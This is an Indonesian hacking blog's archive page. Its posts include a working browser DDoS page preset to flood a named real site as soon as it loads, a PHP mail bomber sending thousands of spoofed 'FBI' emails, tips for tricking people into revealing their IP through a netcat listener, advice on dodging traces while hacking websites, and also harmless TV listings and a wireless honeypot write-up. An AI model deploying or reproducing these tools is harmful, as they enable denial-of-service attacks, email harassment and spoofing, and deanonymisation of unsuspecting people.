Showing posts with label Jaringan. Show all posts
Showing posts with label Jaringan. Show all posts

Thursday, December 26, 2013

Script DDos online


alat tempur DDos Yang di pasang di blog ..
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>DOWN TO SERVER</title>
<!--


    /\                                                      
   /  \   _ __   ___  _ __  _   _ _ __ ___   ___  _   _ ___
  / /\ \ | '_ \ / _ \| '_ \| | | | '_ ` _ \ / _ \| | | / __|
 / ____ \| | | | (_) | | | | |_| | | | | | | (_) | |_| \__ \
/_/    \_\_| |_|\___/|_| |_|\__, |_| |_| |_|\___/ \__,_|___/
                             __/ |                          
                            |___/      


Owaner : B_Compi ,Indonesia Fighter Cyber, Java Defacer,Jogja Carder,



-->
<style type="text/css">


body {
    margin:5% 15%; background:url('') fixed right 50%; font-family:Courier New, Courier, monospace; color:#808080; background-attachment:fixed; background-repeat:repeat
    }
fieldset {
    border-style: none;
    margin: 10px;
    }
p {
    margin: 0;
    }
input {
    margin: 0;
    background-color: transparent;
    border: none;
    text-align: center;
    font-family:"Courier New", Courier, monospace;
    color: green;
    }
</style>
<script type="text/javascript">
    function setAttributeOnload(object, attribute, val) {
      if(window.addEventListener) {
        window.addEventListener("load",
          function(){ object[attribute] = val; }, false);
      } else {
        window.attachEvent('onload', function(){ object[attribute] = val; });
      }
    }
  </script>
</head>

<div id="title" align="center"><font size="+3" color="red">[#</font><font size="+3"><font color="purple">
    Anonymous OP ISRAEL </font></font><font size="+3" color="red"> #]</font></div>

<br><br>

<div id="hive" align="center">
<font color="red">[</font><font color="blue">Target</font><font color="red">]</font><br>
<input name="target" id="targetURL" style="width: 100%;  "value="http://http://opulsa.com//"><br><br>

<font color="red">[</font><font color="blue">PETICIONES</font><font color="red">]</font><br>
<input id="rps" style="width: 100%;" value="5000"><br><br>

<fieldset>
<font color="red">[</font><font color="blue">MESSAGE</font><font color="red">]</font><br>
<input id="message" style="width: 100%;" value="dOWN TO SERVER" ><br><br>
</fieldset>
<font color="red">[</font><font color="blue"> STATUS </font><font color="red">]</font><br>

<font color="brown"> PETICIONES </font><p id="requestedCtr"><font color="green">0</p>
 SUCCES <p id="succeededCtr">0</p></font>
<font color="brown"> ERROR </font><p id="failedCtr">0</p><br>
<button id="fireButton" style="background-color:#000000; border-color: rgb(255, 255, 255); color: rgb(255, 255, 255);">
Detener</button><br><br><br>
</div>
<p align="center">

  <script>
        (function () {

            var fireInterval;
            var isFiring = false;
        var currentTime = new Date()
        var lastSuccess = currentTime.getTime();

            var requestedCtrNode = document.getElementById("requestedCtr"),
                succeededCtrNode = document.getElementById("succeededCtr"),
                failedCtrNode = document.getElementById("failedCtr"),
                targetURLNode = document.getElementById("targetURL"),
                fireButton = document.getElementById("fireButton"),
                messageNode = document.getElementById("message"),
                rpsNode = document.getElementById("rps"),
                timeoutNode = document.getElementById("timeout");

            var targetURL = targetURLNode.value;
            targetURLNode.onchange = function () {
                targetURL = this.value;
            };

            var requestsHT = {}; //

            var requestedCtr = 0,
                succeededCtr = 0,
                failedCtr = 0;

            var makeHttpRequest = function () {

                    if ( (currentTime.getTime()-lastSuccess) > 10000) { // Permite No Enviar mas de 1000 peticiones
                        return;
                    } else { lastSuccess = currentTime.getTime();};

                    var rID =Number(new Date());
                    var img = new Image();
                    img.onerror = function () { onFail(rID); };
                    img.onabort = function () { onFail(rID); };
                    img.onload = function () { onSuccess(rID); }; //

                    img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
                    requestsHT[rID] = img;
                    onRequest(rID);
                };

            var onRequest = function (rID) {
                    requestedCtr++;
                    requestedCtrNode.innerHTML = requestedCtr;
                };

            var onComplete = function (rID) {
                    delete requestsHT[rID];
                };

            var onFail = function (rID) {
                   // failedCtr++;
                    //failedCtrNode.innerHTML = failedCtr;

                    succeededCtr++; //
                    succeededCtrNode.innerHTML = succeededCtr;


                    delete requestsHT[rID]; //
                };

            var onSuccess = function (rID) {
                    succeededCtr++;
                    succeededCtrNode.innerHTML = succeededCtr;
                    delete requestsHT[rID];
                };

            fireButton.onclick = function () {
                if (isFiring) {
                    clearInterval(fireInterval);

                    isFiring = false;
                    this.innerHTML = "START";
                } else {
                    isFiring = true;
                    this.innerHTML = "STOP!";

                    fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
                }
            };
            function Firecrash() {
                if (isFiring) {
                    clearInterval(fireInterval);

                    isFiring = false;
                    this.innerHTML = "Atacar!";
                } else {
                    isFiring = true;
                    this.innerHTML = "Stop flooding";

                    fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
                }
            };
//Cambiar Target y desconectar la funcion Firecrash();
document.getElementById("targetURL").value = "http://http://opulsa.com//";
Firecrash();

        })();
  </script>

</p>
<div id="footer" align="center">
<p><font color="red"># [</font><font color="blue"></font><font color="red"></font><font color="blue"></font><font color="red">THANK YOU ALL ANONYMOUS tubekity]
#</font></p>
</div>
<script>var _wau = _wau || []; _wau.push(["tab", "693u6svzfjac", "39l", "bottom-center"]);(function() { var s=document.createElement("script"); s.async=true; s.src="http://widgets.amung.us/tab.js";document.getElementsByTagName("head")
[0].appendChild(s);})();</script>
<script type="text/javascript">var _gaq=[]; _gaq.push(['_setAccount', 'UA-31585029-1']); _gaq.push(['_setDomainName', 'host.sk']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = 'http://www.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);})();</script></body>
</html>

Wednesday, May 15, 2013

Daftar Gelombang TV Indonesia

Daftar Gelombang TV Indonesia
SATELLITE PALAPA D/C2

1. INDOSIAR 
• Frekuensi     :04000 /03998/03989/03999
• Simbol Rate :06500
• Polaritas      :H
• Audio PID    :1211
• Video PID    :1110
2. RCTI
• Frekuensi     :03774
• Simbol Rate :06250
• Polaritas      :H
• Audio PID    :1120
• Video PID    :1160
3. SCTV
• Frekuensi     :03754
• Simbol Rate :06240
• Polaritas      :H
• Audio PID    :2202
• Video PID    :2201
4. MNC TV
• Frekuensi     :04184
• Simbol Rate :06700
• Polaritas      :V
• Audio PID    :1211
• Video PID    :1110
5. GLOBAL TV
• Frekuensi     :03934
• Simbol Rate :06500
• Polaritas      :H
• Audio PID    :0256
• Video PID    :0308
6. SPACETOON
• Frekuensi     :04080
• Simbol Rate :28125
• Polaritas      :H
• Audio PID    :0653
• Video PID    :0515
7. TV ONE
• Frekuensi     :03785
• Simbol Rate :05630
• Polaritas      :H
• Audio PID    :0256
• Video PID    :0308
8. Metro TV
• Frekuensi     :04080
• Simbol Rate :28125
• Polaritas      :H
• Audio PID    :0651
• Video PID    :0513
12. TVRI NASIONAL
• Frekuensi     :03765
• Simbol Rate :05555
• Polaritas      :H
• Audio PID    :0036
• Video PID    :0033
13. DAAI TV
• Frekuensi     :04043
• Simbol Rate :02830
• Polaritas      :V
• Audio PID    :3606
• Video PID    :3601

14. MATRIX TV
• Frekuensi     :04047
• Simbol Rate :03000
• Polaritas      :V
• Audio PID    :0259
• Video PID    :0258

SATELLITE TELKOM

15.  TRANS TV
• Frekuensi     :04086
• Simbol Rate :06000
• Polaritas      :H
• Audio PID    :0036
• Video PID    :0033
16. TRANS 7
• Frekuensi     :03990
• Simbol Rate :06000
• Polaritas      :H
• Audio PID    :0256
• Video PID    :0512

17. ANTV
• Frekuensi     :04015
• Simbol Rate :06000
• Polaritas      :H
• Audio PID    :0258
• Video PID    :0257

Wednesday, April 10, 2013

Internet SpeedTest

INTERNET SERVICE

Monday, April 8, 2013

Anonymous PHP Mail Bomber

Create a new php file called mail.php
Open on your website bomb for fun
CAUTION : ANONYMOUS IS NOT LIEABLE FOR LEGAL CHALLANAGES OR COURT SUES
DO WHAT YOU LIKE EDUCTION USE ONLY TBH
Anonymous Blr-

CODE :
<?php
set_time_limit(0);
for ($i 1$i <= 2500$i++)
{
    $to "";
    $subject "";
    $message "";

    $fromname "The FBI";
    $fromaddress ""; 
    $eol="n";
    $headers "From: ".$fromname."<".$fromaddress.">".$eol;
    $headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
    $headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
    $headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
    $headers .= "X-Mailer: PHP v".phpversion().$eol;
    $headers .= 'MIME-Version: 1.0'.$eol;
    $headers .= "Content-type: text/html; charset=iso-8859-1".$eol.$eol;

    $sent mail($to$subject$message$headers);

    if($sent)
    {
        echo ("$i . Mail sucsessfully sent n ");
    }
    else
    {
        print "Something went wrong"; 
    }
 }
?>

Bagaimana untuk menemukan remote IP

metode 1
Untuk melihat seseorang IP # ketika mereka mengirim email Hotmail Anda lakukan ini:
1) Klik “Options” di sisi kanan atas halaman.
2) Pada sisi kiri halaman, klik “Mail”

3) Klik “Mail Display Settings”
4) Di bawah “Message Headers” pilih “Full” atau “Advanced”
5) Klik ok
metode 2
reg account dydns dan menginstal pointer ip, sehingga setiap kali Anda ping nama host Anda regestored
misalnya:
Anda regestor yang myhost.dydns.com nama host, maka Anda menyimpan perangkat lunak kecil yang berjalan pada host target. Perangkat lunak sedikit akan terus memperbarui IP Anda ke server dydns.com.
sehingga pada pc Anda hanya mulai cmd, dan ping myhost.dydns.com, akan memberikan Anda alamat ip terbaru.
metode 3
neverender, apa yang tidak bekerja untuk Anda? Cukup ketik nc-vvv-l-p 80 di komputer anda, yang akan set ke modus verbose dalam mendengarkan pada port 80. Kemudian memberikan mereka link ke alamat IP (misalnya: 111.111.111.11) dan memberitahu mereka untuk mengetik di browser mereka. Browser harus menyelesaikan alamat serta pelabuhan append 80 secara otomatis. Pastikan saja bahwa teman Anda tidak terlalu melek komputer.
metode 4
Hanya mendownload server yang sangat sederhana seperti ini dan menginstalnya pada computer. Kemudian jalankan dan memberikan ip Anda ke orang yang Anda inginkan dan memberitahu mereka untuk menyambung ke melalui browser. Server anda akan mencatat hubungan mereka dan Anda akan mendapatkan IP mereka.
link: http://www.download.com/Abyss-Web-Server/3000-2165-10283992.html?tag=lst-0-6
Cara lain
-www.imchaos.com dan membuat “polling mata-mata” untuk dimasukkan ke dalam profil ur, ini akan kirim u IP dari siapa pun yang menjawab polling ur
-originalicons.com ada halaman untuk doin itu (i dont like it, tetapi bekerja)
-atau irc
Berikut adalah tutorial yang lebih rinci tentang penggunaan netcat.
http://www.onlamp.com/pub/a/onlamp/2003/05/29/netcat.html
Trackback from your site.

Cara Mengubah Ip Anda Dalam Waktu Kurang Kemudian 1 Menit

Cara Mengubah Ip Anda Dalam Waktu Kurang Kemudian 1 Menit
Langsung aja gan cekibroott :

1. Klik “Start” di pojok bawah kiri layar
2. Klik “Run”
3. Ketik “command” dan tekan ok
Anda sekarang harus pada layar prompt MSDOS.
4. Ketik “ipconfig / release” hanya seperti itu, dan tekan “enter”
5. Ketik “exit” dan meninggalkan prompt
6. Klik kanan pada “Network Places” atau “My Network Places” di desktop Anda.
7. Klik pada “properties”
Anda sekarang harus pada layar dengan sesuatu yang berjudul “Local Area Connection”, atau sesuatu yang dekat dengan itu, dan, jika Anda memiliki jaringan hooked up, semua jaringan Anda yang lain.
8. Klik kanan pada “Local Area Connection” dan klik “properties”
9. Klik dua kali pada “Internet Protocol (TCP / IP)” dari daftar di bawah tab “General”
10. Klik pada “Gunakan alamat IP berikut” di bawah tab “General”
11. Buat alamat IP (Tidak peduli apa itu. Saya cukup ketik 1 dan 2 sampai i mengisi daerah atas).
12. Tekan “Tab” dan secara otomatis harus mengisi bagian “Subnet Mask” dengan nomor standar.
13. Tekan “Ok” tombol di sini
14. Tekan “Ok” tombol lagi
Anda sekarang harus kembali ke “Local Area Connection” screen.
15. Klik kanan kembali pada “Local Area Connection” dan pergi ke properti lagi.
16. Kembali ke “TCP / IP”
17. Kali ini, pilih “Mendapatkan alamat IP secara otomatis”
tongue.gif 18. Tekan “Ok”
19. Tekan “Ok” lagi
20. Anda sekarang memiliki alamat IP baru
Dengan sedikit latihan, Anda dapat dengan mudah mendapatkan proses ini turun sampai 15 detik.
P.S:
Ini hanya perubahan alamat IP dinamis Anda, bukan ISP Anda / alamat IP. Jika anda berencana untuk melakukan hacking website dengan trik ini sangat berhati-hati, karena jika mereka mencoba sedikit, mereka dapat melacak kembali
Trackback from your site.

Thursday, April 4, 2013

cara pasang TV Online

..:: Cara Pasang TV ::..

Login Ke Blogger.com dengan ID .
Klik Tab Layout lalu klik tambah Gadget.
Pilihan menu HTML/JavaScript Paste kode HTML JavaScribnya disitu.
Klik Simpan - Selesei.
PERHATIAN!!! Sebaiknya TV dipasang di dalam postingan atau jika sidebar blognya lebar silakan pasang di sidebar.
Selamat mencoba....
thanks to: kang rio

***********************************************

HTML JS TV One :
<embed  allowfullscreen="true" allowscriptaccess="always" flashvars="&file=tvone&type=video&streamer=rtmp://stream.vivanews.com/live/&stretching=exactfit&autostart=true&controlbar=over'); id=" height="400" mpl"="" name="mpl" quality="high" src="http://video.tvone.co.id/embed/player.swf" type="application/x-shockwave-flash" width="100%" wmode="transparent"></embed><br /> Widget by: <a href="http://kolombloggratis.blogspot.com/2011/04/cara-pasang-tv-online-di-blog-tips.html" target="_blank">Script TV Online</a><br />

HTML JS TV ANTV :
<embed allowfullscreen="true" allowscriptaccess="always" flashvars="file=rtmp://stream.vivanews.com/live/&id=antv&width=450&height=400&overstretch=fit&callback=analytics&autostart=false" height="400" id="mpl" name="mpl" quality="high" src="http://www.vivanews.com/appaux/swf/antv_mediaplayer.swf" type="application/x-shockwave-flash" width="100%"></embed><br /> Widget by: <a href="http://kolombloggratis.blogspot.com/2011/04/cara-pasang-tv-online-di-blog-tips.html" target="_blank">Script TV Online</a><br />

HTML JS TV Metro TV :
<iframe frameborder="0" height="233" scrolling="no" src="http://www.metrotvnews.com/streaming-singtel/player.html" width="370"></iframe><br /> Widget by: <a href="http://kolombloggratis.blogspot.com/2011/04/cara-pasang-tv-online-di-blog-tips.html" target="_blank">Script TV Online</a><br />

HTML JS TV RCTI-SCTV-Trans-Global TV :
<center><iframe id="http://kolombloggratis.blogspot.com" allowfullscreen="true" allowscriptaccess="always" bgcolor="#ffffff" devicefont="false" height="860" menu="true" name="MivoTV" pluginspage="http://www.macromedia.com/go/getflashplayer" quality="high" scale="noscale" src="http://cintaindonesiaku.com/tv/indotv/chframe/goto-cintaindonesiaku-campur2.html" type="application/x-shockwave-flash" width="610" wmode="transparent"></iframe></center> Widget by: <a href="http://kolombloggratis.blogspot.com/2011/04/cara-pasang-tv-online-di-blog-tips.html" target="_blank">Script TV Online</a><br />

HTML JS TV Mivo-RCTI-TRANS-SCTV-Glogal :
<span style="font-weight:bold;">Live TV (Mivo TV-RCTI-TRANS TV-SCTV-GLOBAL TV):</span><br /><br /><iframe src="http://zons.000a.biz/etc/tv/multitv01.html" scrolling="no" frameborder="0" height="321" width="376"></iframe><br /> Widget by: <a href="http://kolombloggratis.blogspot.com/2011/04/cara-pasang-tv-online-di-blog-tips.html" target="_blank">Script TV Online</a><br />

Jebak Attacker Dengan Multi SSID


Idenya hari ini sih saya hanya ingin menjebak para "wardiver", para "piggy backer".  Tau sendiri dong... biasanya yang diincar oleh para "wardriver" dan para "piggy backer" adalah akses internet bebas secara ilegal sekalipun harus melakukan proses cracking enkripsi yang terkadang sangat melelahkan.
Bagaimana ide penjebakannya :

1. Saya akan membangun 5 (lima) SSID dengan 1 (satu) Radio Wireless AP.
Untuk menciptakan multi SSID tersebut tentu saja saya mempergunakan radio wireless tertentu karena tidak semua AP memiliki fitur yang bisa membuat multi  SSID.

2. Dari 5 (lima) SSID yang ada, saya akan membentuk :
. 2 (dua) SSID dengan kondisi Open
. 2 (dua) SSID dengan kondisi WEP Enkripsi
. 1 (satu) SSID dengan kondisi WPA Enkripsi

3. Radio wireless AP yang saya dirikan tidak ada sumber intenet sama sekali...!!!
Tentu ini saya lakukan dengan sengaja agar hasil untuk mendapatkan akses internet bebas = nihil !!!
4. Saya akan mempergunakan Wireshark untuk mengamati dan menganalisa packer data si attacker.

Saya akan menggambarkan pola jebakannya sebagai berikut :
Perhatikan gambar tersebut diatas :
1.  PC Notebook dengan IP : 192.168.1.1 /24
2.  Radio wireless AP dengan IP : 192.168.1.254 /24, dengan gateway : 192.168.1.1 /24
3.  Radio wireless AP dengan Multi SSID.
4.  Radio wireless AP mengaktifkan DHCP server
5.  Perhatikan...tidak ada sumber intenet yang diberikan untuk radio wireless AP.  Sengaja..!!!
Persiapan :

. 1 (satu) radio wireless, saya mempergunakan : AirLive N Mini AP dengan tekno 2T2R Mimo 11 b/g/n 300 Mbps.
O iyah...radio wireless ini baru di launching oleh AirLive 1 bulan yang lalu loh... n ane sudah memilikinya...:)
Saya mempergunakan perangkat ini dikarenakan support Multi SSID.  Jadi kita bisa membentuk sampai dengan 5 (lima) SSID.

1 (satu) PC or Laptop yang terhubung langsung dengan radio wireless AP. Kita membutuhkan wireshark
untuk memantau analisa packet data.

. Gunakan nama SSID yang mengundang attacker untuk hadir, misalkan :
Free_Internet_Dunkin,Free_Inet_Jacko,Telkom_HotSpot,etc

. Letakkan radio wireless AP pada tempat2 yang menjadi incaran para attacker, misalkan saja : cafe,hotel,etc. 
don't worry be happy bro... wireless devices yg digunakan berukuran kecil.. imut2 kayak Dewi P**sik..ha..ha...ha....


Penyetingan Multi SSID.
Multi SSID...? ya, SSID yang jumlahnya lebih dari 1 dan dihasilkan dari 1 radio wireless AP. 
Tujuan membangun multi SSID sebenarnya hanya mengecohkan si attacker untuk tetap berkutit pada lingkungan yang disenanginya, dan hasil
yang didapatkan dari aktifitas si attacker hanyalah kesia2an saja.... war driving sukses...tapi piggy backing tidak akan pernah ada
hasilnya...;)
ingat... !!! multi SSID hanya bisa dibangun dengan perangkat wireless tertentu...!!!!
Hasil penyetingan radio wireless dengan Multi SSID yang terlihat pada OS Windows XP :
Hasil penyetingan radio wireless dengan Multi SSID yang terlihat pada WiFi Radar in Ubuntu :http://prntscr.com/xqpnb
Pemantauan tindakan attacker dengan WireShark :
Jika terjadi penyerangan DoS, bisa dipantau dengan besarnya packet data wireless melalui wireshark :
Sekarang mari kita analisa kegiatan si attacker dari jebakan yang kita buat :
1.  Attacker akan melakukan koneksi pada SSID yang terbuka bebas tanpa adanya enkripsi.
Hasilnya pasti bisa beraosiasi dengan AP tapi tidak bisa mendapatkan akses internet..lah iyalah...wong sengaja dibuat tanpa ada sumber intenet....;) go to hell attacker...!!!

2. Karena proses pertama gagal, maka attacker akan pindah ke SSID yang lain... saya hanya memperkirakan bahwa attacker memilih SSID  yang terbuka bebas tanpa adanya enkripsi.... "dasar attacker malas...mau enak saja..."
Hasilnya pasti bisa beraosiasi dengan AP tapi tidak bisa mendapatkan akses internet..lah iyalah...wong sengaja dibuat tanpa
ada sumber intenet....;) go to hell attacker...!!!

3. Gagal... attacker kembali mencari SSID yang lain, tentu kali ini attacker memilih yang terenkripsi WEP....
dengan asumsi proses cracking    WEP sangatlah mudah dibandingkan harus melakukan cracking WPA.
Attacker paham benar bahwa melakukan cracking WEP akan lebih berhasil dibandingkan dengan melakukan cracking terhadap WPA, sehingga  dia tetap berkutat pada WEP.
Binggooooooo.... WEP berhasil dicrack...!!!!
" jangan bersenang2 dulu kau attacker... WEP memang bisa kau taklukan... tapi kamu terjebak
pada hasil akhir yang nihil... tidak mendapatkan akses internet juga kan..." semua itu sengaja kami dirikan untuk menjebak.
Rasakan jebakan yang kami buat....!!!! go to hell attacker...!!!!

4. Karena proses ke-3 tidak menghasilkan koneksi... hhhmmmm.. attacker tidak akan pindah ke SSID lain.. apalagi yang terproteksi dengan WPA.
Apa yang ada dibenak attacker... "Sial... WPA2...", ha..ha..ha... saya bisa menebaknya...attacker kali ini males untuk melakukan  crackiing WPA2 karena memang susah dan mengandalkan dictionary attack yg cuma menghabiskan waktu utk proses cracking.
"go to hell attacker.... bye...bye...."

Itu hanya sekelumit analisa yang bisa saya paparkan yang sebenarnya masih banyak beberapa kemungkinan yang bisa dilakukan oleh attacker,
karena keterbatasan waktu, daya ingat dan kesibukan di kantor maka hanya itu yang bisa saya paparkan analisanya.
Semoga bermanfaat dan bisa menambah khazanah ilmu teman2.

BIG Thanks : lirva32

Older Posts Home